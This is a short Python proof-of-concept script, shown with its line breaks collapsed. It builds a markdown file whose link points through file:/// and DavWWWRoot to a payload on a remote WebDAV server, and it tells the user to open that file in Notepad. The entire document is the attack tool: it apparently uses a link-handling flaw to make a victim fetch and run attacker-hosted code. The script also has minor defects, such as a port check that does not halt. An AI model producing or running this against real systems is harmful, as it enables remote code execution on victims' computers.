import os; import sys; def create_poc(server, port, payload_path): if(port <= 0 or port >= 65536): print('Invalid port number.', file = sys.stderr); f = open('poc.md', 'w'); f.write('# PoC\n[Link](file:///\\\\%s@%d\\DavWWWRoot\\%s)\n' % (server, port, payload_path)); f.close(); print('Done! Run `notepad poc.md` to view the result!'); #end-def def __main__(argv): if(len(argv) != 3): print('Usage: python %s ' % os.path.basename(__file__)); return; #end-if try: create_poc(argv[0], int(argv[1]), argv[2]); except Exception as err: print(err, file = sys.stderr); #end-try #end-def if(__name__ == '__main__'): __main__(sys.argv[1:]); else: raise Exception('This is a standalone script!'); #end-if